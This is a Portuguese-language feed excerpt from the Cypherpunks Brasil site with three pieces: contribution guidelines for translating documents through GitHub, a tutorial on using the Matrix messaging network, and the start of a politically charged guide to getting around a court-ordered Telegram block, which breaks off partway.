&lt;li>Após o Fork, você terá uma cópia exata do repositório original &lt;code>github.com/cypherpunksbr/documentos&lt;/code> que estará em &lt;code>github.com/seu-nome-de-usuário/documentos&lt;/code>&lt;/li>
&lt;/ul>
&lt;ol start="2">
&lt;li>
&lt;p>Criar uma &amp;ldquo;área de trabalho&amp;rdquo; (Branch) para fazer suas alterações&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Fazer as alterações &lt;strong>na sua cópia&lt;/strong> &lt;code>github.com/seu-nome-de-usuário/documentos&lt;/code> e &lt;strong>dentro da branch&lt;/strong> criada no passo anterior&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&amp;ldquo;Enviar&amp;rdquo; suas alterações através de uma Pull Request (PR)&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>&lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser">Tutorial completo de como executar cada um desses passos diretamente pelo site do Github&lt;/a>
&lt;/p>
&lt;hr>
&lt;h2 id="adicionando-novos-documentos">Adicionando Novos Documentos&lt;/h2>
&lt;p>Você pode adicionar qualquer tipo de documento relacionado ao movimento cypherpunk à nossa biblioteca&lt;/p>
&lt;h3 id="mão-na-massa">Mão na massa:&lt;/h3>
&lt;blockquote>
&lt;p>Dica: algumas palavras contém links que te levam a uma explicação de como fazer&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>1.&lt;/strong> Faça um &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-um-fork">Fork&lt;/a>
do nosso repositório no github.&lt;/p>
&lt;p>&lt;strong>2.&lt;/strong> Dentro de seu Fork, crie uma &lt;strong>nova&lt;/strong> &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-uma-nova-branch">Branch&lt;/a>
com um nome que especifique o objetivo. Por exemplo &lt;code>adiciona-bitcoin-whitepaper&lt;/code>. Após criar essa branch, é dentro dela que você irá trabalhar.&lt;/p>
&lt;p>&lt;strong>3.&lt;/strong> Encontre o documento que deseja traduzir na internet, em livros, qualquer lugar, ou escreva você mesmo um texto autoral. Salve as informações importantes (link para a página web, nome do livro, autor, data de publicação e poss), elas serão usadas nas próximas etapas.
O documento pode estar em qualquer idioma, incluindo o português (pt-br).&lt;/p>
&lt;p>&lt;strong>4.&lt;/strong> No seu fork, dentro da branch criada, salve o documento em um arquivo único de texto com extensão &lt;code>.md&lt;/code> (Markdown). Se for um documento em língua estrangeira, salve-o na pasta &lt;code>/para traduzir/&lt;/code>. Se for um documento em Português (pt-br), salve-o na pasta &lt;code>/para revisar/&lt;/code>. Caso o documento contenha imagens ou outros arquivos adicionais, salve esses arquivos na pasta &lt;code>/stuff/&lt;/code>. No futuro você irá referenciar esses arquivos usando markdown caso necessário.&lt;/p>
&lt;p>&lt;strong>5.&lt;/strong> Formate o documento para seguir o padrão dos textos publicados. Formate o texto usando o padrão de sintaxe &lt;a href="https://github.com/luong-komorebi/Markdown-Tutorial/blob/master/README_pt-BR.md" target="_blank" rel="noopener noreferrer">&lt;code>Markdown&lt;/code>&lt;/a>
. Tome cuidado para não esquecer de formatar nada, reconstrua as referências de links que estão no site, palavras em itálico, citações, parágrafos, imagens, tudo! Isso precisa estar muito bem feito para que quem venha a traduzir e ler o documento não fique com um texto mal formatado.&lt;/p>
&lt;p>&lt;strong>6.&lt;/strong> Adicione nosso cabeçalho. Esse cabeçalho serve para que nosso site (feito com &lt;a href="https://gohugo.io/" target="_blank" rel="noopener noreferrer">Hugo&lt;/a>
) reconheça informações importantes e agregue isso na exibição ao leitor. Adicione o cabeçalho a seguir no início do documento, alterando as informações pelas informações do seu texto. Caso alguma das informações exigidas não faça sentido para o caso do seu documento, apague a linha:&lt;/p>
&lt;pre tabindex="0">&lt;code>---
title: &amp;#39;Título do Seu Documento Aqui&amp;#39;
date: data da publicação no formato dia-mês-ano (exemplo: 31-10-2008)
categories:
- Artigo (ou o que faz mais sentido. ex: livro, glossário, tutorial, etc.)
author:
- Nome Do Autor
- Nome De Outros Autores Se Tiver, Um Por Linha
tags:
- tag util 1 sem aspas
- tag util 2 sem aspas
- tag util 3 sem aspas
description: &amp;#39;Escreva aqui uma breve descrição sobre o documento. Essa descrição irá aparecer nos cards do site e na pré-visualização do link quando for enviado em redes sociais.&amp;#39;
---
&lt;/code>&lt;/pre>&lt;p>Nota: aspas simples ou duplas são necessárias caso os dados contenham caracteres especiais&lt;/p>
&lt;p>&lt;strong>7.&lt;/strong> Após ter feito isso seu documento está organizado e pronto para ser incluído no repositório raiz do projeto no GitHub. Para incluí-lo é necessário realizar um &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-um-pull-request">Pull Request (PR)&lt;/a>
da sua branch para a branch main do repositório raiz, exemplo: &lt;code>cypherpunksbr/documentos | main&lt;/code> &lt;code>&amp;lt;--&lt;/code> &lt;code>seu-nome-de-usuário/documentos | adiciona-bitcoin-whitepaper&lt;/code>. Após ter feito o PR, aguarde um dos membros da organização revisar suas alterações e aprovar seu trabalho. Obrigado por colaborar!&lt;/p>
&lt;hr>
&lt;h2 id="traduzindo-documentos-para-português-pt-br">Traduzindo Documentos para Português (pt-br)&lt;/h2>
&lt;p>Você pode traduzir qualquer documento presente na pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/para%20traduzir/" target="_blank" rel="noopener noreferrer">&lt;code>/para traduzir/&lt;/code>&lt;/a>
ou então caso queira traduzir um documento que não está nessa pasta você pode primeiro &lt;a href="#adicionando-novos-documentos">adicionar novos Documentos à biblioteca&lt;/a>
&lt;/p>
&lt;h3 id="mão-na-massa-1">Mão na massa:&lt;/h3>
&lt;blockquote>
&lt;p>Dica: algumas palavras contém links que te levam a uma explicação de como fazer&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>1.&lt;/strong> Faça um &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-um-fork">Fork&lt;/a>
do nosso repositório no github.&lt;/p>
&lt;p>&lt;strong>2.&lt;/strong> Dentro de seu fork, crie uma &lt;strong>nova&lt;/strong> &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-uma-nova-branch">Branch&lt;/a>
com um nome que especifique o objetivo. Por exemplo &lt;code>traduz-bitcoin-whitepaper&lt;/code>. Após criar essa branch, é dentro dela que você irá trabalhar.&lt;/p>
&lt;p>&lt;strong>3.&lt;/strong> Encontre o documento que deseja traduzir dentro da pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/para%20traduzir/" target="_blank" rel="noopener noreferrer">&lt;code>/para traduzir/&lt;/code>&lt;/a>
. É nessa pasta que estão os documentos que aguardam tradução.&lt;/p>
&lt;p>&lt;strong>4.&lt;/strong> &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#renomeando-e-movendo-arquivos">Mova&lt;/a>
o arquivo para a pasta correta. Antes de começar a traduzir é necessário que você sinalize para todos que você está traduzindo esse texto para que não aconteça de duas pessoas ao mesmo tempo estarem traduzindo a mesma coisa, gerando ineficiência e trabalho jogado fora. Para sinalizar a intenção de tradução você deve mover o arquivo do seu documento que está na pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/para%20traduzir/" target="_blank" rel="noopener noreferrer">&lt;code>/para traduzir/&lt;/code>&lt;/a>
para a pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/sendo%20traduzidos/" target="_blank" rel="noopener noreferrer">&lt;code>/sendo traduzidos/&lt;/code>&lt;/a>
.&lt;/p>
&lt;p>&lt;strong>5.&lt;/strong> No passo anterior você moveu o documento apenas na sua cópia (fork) do projeto. Agora para mover no repositório original você precisa abrir um &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-um-pull-request">Pull Request (PR)&lt;/a>
da sua branch para a branch main do repositório raiz, exemplo: &lt;code>cypherpunksbr/documentos | main&lt;/code> &lt;code>&amp;lt;--&lt;/code> &lt;code>seu-nome-de-usuário/documentos | adiciona-bitcoin-whitepaper&lt;/code>. Após ter feito o PR, aguarde um dos membros da organização aprovar. Assim que aprovado você pode ir para o próximo passo.&lt;/p>
&lt;p>&lt;strong>6.&lt;/strong> Hora de traduzir o documento! A branch que você criou anteriormente continua no seu fork e é por lá que você continuará trabalhando. Encontre seu documento que está em &lt;code>/sendo traduzidos/dd-mm-aaaa-nome-do-seu-documento.md&lt;/code> e faça a tradução. Entenda:&lt;/p>
&lt;ul>
&lt;li>Você pode usar ferramentas para agilizar a tradução como por exemplo Google Translate, mas tais ferramentas as vezes alteram a formatação e o sentido dos textos, tiram expressões de contexto, erram termos técnicos, etc. Portanto você precisará revisar bem o texto caso decida usá-las;&lt;/li>
&lt;li>Não quebre a formatação do documento. Usamos o padrão de sintaxe &lt;a href="https://github.com/luong-komorebi/Markdown-Tutorial/blob/master/README_pt-BR.md" target="_blank" rel="noopener noreferrer">&lt;code>Markdown&lt;/code>&lt;/a>
com a adição de um cabeçalho no inicio do texto que orienta nosso site a classificar os documentos;&lt;/li>
&lt;li>Algumas palavras não exigem tradução pois são tão difundidas como a forma original até mais do que a tradução, como por exemplo &amp;ldquo;blockchain&amp;rdquo;. Nesses casos coloque a palavra seguida pela tradução entre parêntesis, depois use apenas a palavra original caso ache mais adequado;&lt;/li>
&lt;li>Caso não saiba qual a melhor traducão para um trecho de texto peça ajuda. Você pode fazer isso pedindo para um amigo, abrindo uma &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#abrindo-uma-issue">Issue&lt;/a>
no github ou perguntando em nosso &lt;a href="https://t.me/criptologia" target="_blank" rel="noopener noreferrer">grupo no telegram&lt;/a>
;&lt;/li>
&lt;li>Se você traduziu um pedaço do trecho mas só vai poder continuar em outro momento, não tem problema, faça Commit da alteração ou salve o que já traduziu em outro local para poder continuar de onde parou&lt;/li>
&lt;li>Faça um bom trabalho. Saiba que você está ajudando outras pessoas a terem acesso facilitado a informação de qualidade e preservando/difundindo um pedaço da história para outro idioma.&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>7.&lt;/strong> &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#renomeando-e-movendo-arquivos">Mova&lt;/a>
novamente o documento de pasta. Agora você já finalizou a tradução e irá mover o documento para a pasta de revisão. Para isso você deve mover o arquivo do seu documento que está na pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/sendo%20traduzidos/" target="_blank" rel="noopener noreferrer">&lt;code>/sendo traduzidos/&lt;/code>&lt;/a>
para a pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/para%20revisar/" target="_blank" rel="noopener noreferrer">&lt;code>/para revisar/&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;strong>8.&lt;/strong> Após mover no seu repositório, hora de replicar essa mudança no repositório original fazendo mais um &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-um-pull-request">Pull Request (PR)&lt;/a>
da sua branch para a branch main do repositório raiz assim como foi feito anteriormente, exemplo: &lt;code>cypherpunksbr/documentos | main&lt;/code> &lt;code>&amp;lt;--&lt;/code> &lt;code>seu-nome-de-usuário/documentos | traduz-bitcoin-whitepaper&lt;/code>. Após ter feito o PR, aguarde um dos membros da organização revisar suas alterações e aprovar seu trabalho. Obrigado por colaborar!&lt;/p>
&lt;hr>
&lt;h2 id="revisando-e-corrigindo-documentos-traduzidos">Revisando e corrigindo Documentos traduzidos&lt;/h2>
&lt;p>Você pode revisar um documento que já esteja traduzido e disponível na pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/para%20revisar" target="_blank" rel="noopener noreferrer">&lt;code>/para revisar/&lt;/code>&lt;/a>
ou que já possua pelo menos uma revisão na pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/sendo%20revisados" target="_blank" rel="noopener noreferrer">&lt;code>/sendo revisados/&lt;/code>&lt;/a>
.&lt;/p>
&lt;h3 id="mão-na-massa-2">Mão na massa:&lt;/h3>
&lt;blockquote>
&lt;p>Dica: algumas palavras contém links que te levam a uma explicação de como fazer&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>1.&lt;/strong> Faça uma cópia (&lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-um-fork">Fork&lt;/a>
) do nosso repositório no Github.&lt;/p>
&lt;p>&lt;strong>2.&lt;/strong> Dentro de seu Fork (&lt;code>github.com/seu-nome-de-usuário/documentos&lt;/code>), crie uma &lt;strong>nova&lt;/strong> &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-uma-nova-branch">Branch&lt;/a>
com um nome que espeficique o objetivo. Por exemplo: &lt;code>revisa-bitcoin-whitepaper&lt;/code>.&lt;/p>
&lt;p>&lt;strong>3.&lt;/strong> Encontre o documento que deseja revisar na pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/para%20revisar" target="_blank" rel="noopener noreferrer">&lt;code>/para revisar/&lt;/code>&lt;/a>
. Caso este documento já possua pelo menos uma revisão, ele deverá estar na pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/sendo%20revisados" target="_blank" rel="noopener noreferrer">&lt;code>/sendo revisados/&lt;/code>&lt;/a>
.&lt;/p>
&lt;blockquote>
&lt;p>Diferente do processo de tradução, o processo de revisão acontece mais de uma vez. Sendo assim, se você deseja revisar um documento que ainda está em &lt;a href="para%20revisar/">&lt;code>/para revisar/&lt;/code>&lt;/a>
, primeiro você deve &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#renomeando-e-movendo-arquivos">move-lo&lt;/a>
para a pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/sendo%20revisados/" target="_blank" rel="noopener noreferrer">&lt;code>/sendo revisados/&lt;/code>&lt;/a>
e fazer uma &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-um-pull-request">Pull Request (PR)&lt;/a>
. Caso já exista pelo menos uma revisão deste documento, alguém já o terá movido, então ele deverá estar na pasta &lt;a href="https://github.com/cypherpunksbr/documentos/tree/main/sendo%20revisados/" target="_blank" rel="noopener noreferrer">&lt;code>/sendo revisados/&lt;/code>&lt;/a>
&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>4.&lt;/strong> Na pasta correta, clique no nome do documento escolhido e habilite o modo de edição do Github clicando no lápis ✏️ (canto superior direito da tela)&lt;/p>
&lt;p>&lt;strong>5.&lt;/strong> Faça as alterações que achar necessárias&lt;/p>
&lt;p>&lt;strong>6.&lt;/strong> Terminou sua revisão? Agora você pode começar a PR!&lt;/p>
&lt;blockquote>
&lt;p>Não se esqueça de seguir o passo a passo corretamente, escrevendo uma boa mensagem de commit e conferindo se está &amp;ldquo;enviando&amp;rdquo; as alterações da sua Branch para a Branch principal do repositório raiz. ex.: &lt;code>cypherpunksbr/documentos | main&lt;/code> &lt;code>&amp;lt;--&lt;/code> &lt;code>seu-nome-de-usuário/documentos | revisa-bitcoin-whitepaper&lt;/code>&lt;/p>
&lt;/blockquote>
&lt;hr>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;h2 id="melhorando-nosso-site">Melhorando nosso site&lt;/h2>
&lt;p>Quer ajudar a melhorar o &lt;a href="https://cypherpunks.com.br/">cypherpunks.com.br&lt;/a>
?&lt;/p>
&lt;p>&lt;strong>1.&lt;/strong> Vá até o nosso &lt;a href="https://github.com/cypherpunksbr/cypherpunks.com.br" target="_blank" rel="noopener noreferrer">repositório do site&lt;/a>
no Github e faça o &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-um-fork">Fork&lt;/a>
.&lt;/p>
&lt;p>&lt;strong>2.&lt;/strong> Dentro do seu Fork (&lt;code>github.com/seu-nome-de-usuário/cypherpunks.com.br&lt;/code>), crie uma &lt;strong>nova&lt;/strong> &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-uma-nova-branch">Branch&lt;/a>
com um nome que especifique o objetivo. Por exemplo: &lt;code>corrige-link-quebrado&lt;/code>.&lt;/p>
&lt;p>&lt;strong>3.&lt;/strong> Dentro da branch criada no passo anterior, faça suas alterações e salve tudo em um commit com uma mensagem pertinente. Por exemplo: &lt;code>corrige link para o canal do Youtube&lt;/code>.&lt;/p>
&lt;p>&lt;strong>4.&lt;/strong> Faça o &lt;a href="https://cypherpunks.com.br/documentos/wiki-gitub-browser#criando-um-pull-request">Pull Request (PR)&lt;/a>
e aguarde aprovação. Obrigado por colaborar!&lt;/p>
&lt;blockquote>
&lt;p>Não se esqueça de seguir o passo a passo corretamente, escrevendo uma boa mensagem de commit e conferindo se está &amp;ldquo;enviando&amp;rdquo; as alterações da sua Branch para a Branch principal do repositório raiz. ex.: &lt;code>cypherpunksbr/cypherpunks.com.br | main&lt;/code> &lt;code>&amp;lt;--&lt;/code> &lt;code>seu-nome-de-usuário/cypherpunks.com.br | corrige-link-quebrado&lt;/code>&lt;/p>
&lt;/blockquote>
&lt;hr>
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;!-- raw HTML omitted -->
&lt;h2 id="crie-novos-projetos">Crie novos projetos&lt;/h2>
&lt;p>Está inspirado? Iniciar um projeto do zero poderia ajudar a tornar o movimento cypherpunk ainda mais forte e descentralizado! Caso tenha alguma boa ideia que possa ajudar pessoas a se libertar por meio da criptologia, não hesite em colocar isso em prática. Use todo seu potencial, mostre tudo que aprendeu, traga todos que puder e conte sempre com o nosso apoio.&lt;/p>
&lt;hr>
&lt;h2 id="espalhe-a-palavra">Espalhe a palavra&lt;/h2>
&lt;p>&lt;a href="https://facebook.com/cypherpunksbrasiloficial" target="_blank" rel="noopener noreferrer">&lt;img class="img-fluid" alt="Facebook" src="https://cypherpunks.com.br/stuff/facebook.webp" loading="lazy"
width="45" height="45"
/>
&lt;/a>
&lt;a href="https://twitter.com/cypherpunksbr" target="_blank" rel="noopener noreferrer">&lt;img class="img-fluid" alt="Twitter" src="https://cypherpunks.com.br/stuff/twitter.webp" loading="lazy"
width="45" height="45"
/>
&lt;/a>
&lt;a href="https://www.instagram.com/cypherpunksbrasiloficial" target="_blank" rel="noopener noreferrer">&lt;img class="img-fluid" alt="Instagram" src="https://cypherpunks.com.br/stuff/instagram.webp" loading="lazy"
width="45" height="45"
/>
&lt;/a>
&lt;a href="https://www.youtube.com/c/CypherpunksBrasil" target="_blank" rel="noopener noreferrer">&lt;img class="img-fluid" alt="Youtube" src="https://cypherpunks.com.br/stuff/youtube.webp" loading="lazy"
width="45" height="45"
/>
&lt;/a>
&lt;a href="https://cypherpunks.com.br/index.xml">&lt;img class="img-fluid" alt="RSS" src="https://cypherpunks.com.br/stuff/rss.webp" loading="lazy"
width="45" height="45"
/>
&lt;/a>
&lt;a href="https://odysee.com/@CypherpunksBrasil" target="_blank" rel="noopener noreferrer">&lt;img class="img-fluid" alt="Odysee" src="https://cypherpunks.com.br/stuff/odysee.webp" loading="lazy"
width="45" height="45"
/>
&lt;/a>
&lt;a href="https://t.me/CypherpunksBrasil" target="_blank" rel="noopener noreferrer">&lt;img class="img-fluid" alt="Telegram" src="https://cypherpunks.com.br/stuff/telegram.webp" loading="lazy"
width="51" height="45"
/>
&lt;/a>
&lt;a href="https://cypherpunks.com.br">&lt;img class="img-fluid" alt="Cypherpunks Website" src="https://cypherpunks.com.br/stuff/website.webp" loading="lazy"
width="46" height="45"
/>
&lt;/a>
&lt;/p>
&lt;!-- raw HTML omitted --></content:encoded></item><item><title>Matrix - Como Usar</title><link>https://cypherpunks.com.br/documentos/tutorial-matrix-como-usar/</link><pubDate>Mon, 21 Mar 2022 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/tutorial-matrix-como-usar/</guid><description>Matrix é uma solução em comunicação distribuída. Saiba como usar nesse tutorial</description><content:encoded>&lt;pre tabindex="0">&lt;code>Escrito por: Matheus Bach
Revisado por: Vinicius Yaunner
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;h1 id="tutorial-de-uso-do--matrix-">Tutorial de uso do &lt;code>[ Matrix ]&lt;/code>&lt;/h1>
&lt;h2 id="o-que-é-matrix">O que é Matrix?&lt;/h2>
&lt;p>&lt;em>&amp;ldquo;Você quer saber o que é Matrix?&amp;rdquo; ~Morpheus&lt;/em>. (não é disso que vamos falar)&lt;/p>
&lt;p>&lt;a href="https://matrix.org/" target="_blank" rel="noopener noreferrer">Matrix&lt;/a>
é mais que um protocolo de mensagens, ele fornece toda uma solução para comunicações de forma realmente distribuída. Matrix é uma rede aberta para comunicação segura e descentralizada.&lt;/p>
&lt;p>Quando você envia uma mensagem no Matrix, ela é replicada em todos os servidores cujos usuários estão participando de uma determinada conversa. Não há um ponto central de controle ou falha em uma conversa Matrix que abrange vários servidores: quando você se comunica com alguém em um servidor, essa conversa é replicada e mesmo que o seu servidor fique offline depois, o outro servidor que recebeu a mensagem poderá replicar ela.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/matrix-diagrama.webp" loading="lazy"
width="680" height="480"
/>
&lt;/p>
&lt;p>Isso significa que cada servidor tem total auto-soberania sobre os dados de seus usuários - e qualquer um pode escolher ou executar seu próprio servidor e participar da rede Matrix. É assim que a Matrix liberta o controle sobre a comunicação.&lt;/p>
&lt;p>Por padrão, o Matrix usa APIs HTTPS+JSON simples como linha-base para a transmissão de dados, mas também abrange transportes mais sofisticados, como WebSockets ou ultra-low-bandwidth Matrix via CoAP+Noise.&lt;/p>
&lt;p>Matrix é um padrão aberto, com código-fonte também aberto (&lt;a href="https://github.com/matrix-org/%29" target="_blank" rel="noopener noreferrer">https://github.com/matrix-org/)&lt;/a>
. Além de enviar mensagens, ele suporta também criptografia de ponta a ponta (igual a do Signal), VoIP, Bridging (pontes), etc. e os clients de signal conseguem construir em cima disso várias outras coisas como, por exemplo: chamadas de vídeo, status, canais, reações e várias outras coisas presentes nos apps de comunicação populares.&lt;/p>
&lt;h2 id="como-usar-o-matrix-na-prática-">Como usar o Matrix na prática 📩&lt;/h2>
&lt;h3 id="1-escolha-um-client">1. Escolha um Client&lt;/h3>
&lt;p>Para conectar na rede federada Matrix, você precisa de um &amp;ldquo;client&amp;rdquo;, ou seja, de um software que execute o protocolo Matrix. Há uma grande diversidade de &amp;ldquo;clients&amp;rdquo; para você escolher.&lt;/p>
&lt;p>Escolha um em &lt;a href="https://matrix.org/clients/" target="_blank" rel="noopener noreferrer">https://matrix.org/clients/&lt;/a>
. Particularmente, estou gostando do &lt;a href="https://element.io/" target="_blank" rel="noopener noreferrer">Element&lt;/a>
. O canal no Telegram @chatdeguerra fez um &lt;a href="https://t.me/chatdeguerra/79" target="_blank" rel="noopener noreferrer">Tutorial de como usar o FluffyChat&lt;/a>
.&lt;/p>
&lt;h3 id="2-crie-uma-conta">2. Crie uma conta&lt;/h3>
&lt;p>Essa etapa é bastante delicada. A forma como você criará sua conta corresponde ao quão privado você pretende ser.&lt;/p>
&lt;p>Para registro e acesso mais privativos, prefira utilizar TOR ou VPN, pois esconderão seu ip desde a criação e também em todas as suas interações.&lt;/p>
&lt;p>Você pode simplesmente usar o Element e fazer login com uma conta Google, mas aí já é de fude viu. Você também pode usar a opção que geralmente vem por padrão nos apps, que é se registrar no servidor oficial do Matrix (&lt;code>matrix.org&lt;/code>). Essa opção é a mais usada, mas você precisa colocar e-mail para se registrar. Eles dizem que é só para recuperar a senha e evitar bots, acredita nisso quem quer. De qualquer forma, para conversar em grupos abertos sem nada de tão sigiloso isso já é bom o bastante.&lt;/p>
&lt;p>Na hora de registrar seu usuário, você pode encontrar uma opção para alterar o servidor. Dessa forma, pode criar seu nick por outros servidores que não obrigam usar e-mail no cadastro, como por exemplo, &lt;code>monero.social&lt;/code>.&lt;/p>
&lt;p>É preferível que usuários estejam conectados a partir de diversos servidores, pois isso ajuda a distribuir mais a comunicação.&lt;/p>
&lt;p>A opção mais privada e que ajuda a descentralizar a transmissão e armazenamento de mensagens é sem dúvidas hospedar seu próprio servidor Matrix.
Tutoriais em inglês de como fazer seu host usando &lt;a href="https://github.com/matrix-org/synapse" target="_blank" rel="noopener noreferrer">Synapse&lt;/a>
:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://theselfhostingblog.com/posts/self-hosting-your-own-matrix-server-on-a-raspberry-pi/" target="_blank" rel="noopener noreferrer">https://theselfhostingblog.com/posts/self-hosting-your-own-matrix-server-on-a-raspberry-pi/&lt;/a>
&lt;/li>
&lt;li>&lt;a href="https://github.com/matrix-org/synapse/blob/master/README.rst" target="_blank" rel="noopener noreferrer">https://github.com/matrix-org/synapse/blob/master/README.rst&lt;/a>
&lt;/li>
&lt;/ul>
&lt;h3 id="3-faça-login">3. Faça login&lt;/h3>
&lt;p>Bem, você criou uma conta, faça login nela.&lt;/p>
&lt;h3 id="4-explore">4. Explore&lt;/h3>
&lt;p>Você está na Matrix&lt;/p>
&lt;p>Como sugestões de grupos, vou deixar alguns links:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Cypherpunks Brasil (oficial): &lt;a href="https://matrix.to/#/#cypherpunksbrasil:matrix.org" target="_blank" rel="noopener noreferrer">https://matrix.to/#/#cypherpunksbrasil:matrix.org&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Matrix Memes: &lt;a href="https://matrix.to/#/!zjksQKLqdmsBkxQDQO:matrix.org" target="_blank" rel="noopener noreferrer">https://matrix.to/#/!zjksQKLqdmsBkxQDQO:matrix.org&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Ucrânia em Chamas: &lt;a href="https://matrix.to/#/!XAGFbIkfyRKAtTybms:poa.st" target="_blank" rel="noopener noreferrer">https://matrix.to/#/!XAGFbIkfyRKAtTybms:poa.st&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Cute Aminals: &lt;a href="https://matrix.to/#/!QIdoWeIDpboNLPkKgO:matrix.org" target="_blank" rel="noopener noreferrer">https://matrix.to/#/!QIdoWeIDpboNLPkKgO:matrix.org&lt;/a>
&lt;/p>
&lt;/li>
&lt;/ul>
&lt;h3 id="então-matrix-é-perfeito">Então Matrix é perfeito?&lt;/h3>
&lt;p>Em tudo há tradeoffs. Nesse caso você abre mão da facilidade de um app muito usado como Telegram e WhatsApp para ir para um app com menos contatos (talvez os que valem a pena)
Matrix também não é a solução mais privada que existe. XMPP, por exemplo, ganha nesse quesito como explicado em &lt;a href="https://lukesmith.xyz/articles/matrix-vs-xmpp" target="_blank" rel="noopener noreferrer">https://lukesmith.xyz/articles/matrix-vs-xmpp&lt;/a>
. Porém, para grupos abertos e chat no geral, Matrix parece ser a melhor opção para tornar a comunicação resistente a censura.&lt;/p>
&lt;p>Compartilhe esse post para pessoas que possam ter interesse, é um favor que você faz a elas.&lt;/p></content:encoded></item><item><title>Telegram bloqueado no Brasil - Como Burlar</title><link>https://cypherpunks.com.br/documentos/telegram-bloqueado-no-brasil/</link><pubDate>Sat, 19 Mar 2022 00:00:00 +0000</pubDate><guid>https://cypherpunks.com.br/documentos/telegram-bloqueado-no-brasil/</guid><description>Certo dia o telegram foi bloqueado por um político cujo formato fálico da cabeça destoa. Veja como burlar esse bloqueio</description><content:encoded>&lt;pre tabindex="0">&lt;code>Guia criado por: CyberDef, Cypherpunks Brasil
&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;p>&lt;a href="https://desciclopedia.org/wiki/Alexandre_de_Moraes" target="_blank" rel="noopener noreferrer">Alexandre de Moraes&lt;/a>
determinou que os &lt;a href="https://pt.wikipedia.org/wiki/Fornecedor_de_acesso_%C3%A0_internet" target="_blank" rel="noopener noreferrer">ISPs&lt;/a>
bloqueassem o acesso de usuários ao Telegram. E eles obviamente o fizeram, sob ameaça de multa de R$ 500.000,00 (troco de bar para o parasita, para nós muita coisa). Além disso, usuários que burlarem o bloqueio pagam multa de R$ 100.000,00&lt;/p>
&lt;p>Telegram foi acusado de abrigar canais de pedofilia, venda de armas ilegais, estelionato, e falsificação de documentos. Mas&amp;hellip; o canal que o &lt;a href="https://desciclopedia.org/wiki/Supremo_Tribunal_Federal" target="_blank" rel="noopener noreferrer">STF&lt;/a>
solicitou bloqueio até agora foi de um opositor político&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/bessa-depica.webp" loading="lazy"
width="640" height="640"
/>
&lt;/p>
&lt;h2 id="beleza-mas-como-a-gente-burla">Beleza, mas como a gente burla?&lt;/h2>
&lt;p>Depende de como for feito o bloqueio&lt;/p>
&lt;h3 id="se-o-app-tiver-sido-removido-das-lojas-de-aplicativos">Se o App tiver sido removido das lojas de aplicativos&lt;/h3>
&lt;ul>
&lt;li>
&lt;p>Baixe e instale pela loja de apps F-Droid: &lt;a href="https://f-droid.org/en/packages/org.telegram.messenger" target="_blank" rel="noopener noreferrer">https://f-droid.org/en/packages/org.telegram.messenger&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Não tem o F-Droid? Baixe ele aqui: &lt;a href="https://f-droid.org/pt_BR/" target="_blank" rel="noopener noreferrer">https://f-droid.org/pt_BR/&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Baixe através do site oficial do Telegram: &lt;a href="https://telegram.org/dl/android/apk" target="_blank" rel="noopener noreferrer">https://telegram.org/dl/android/apk&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Use as versões Web (para navegador):&lt;/p>
&lt;ul>
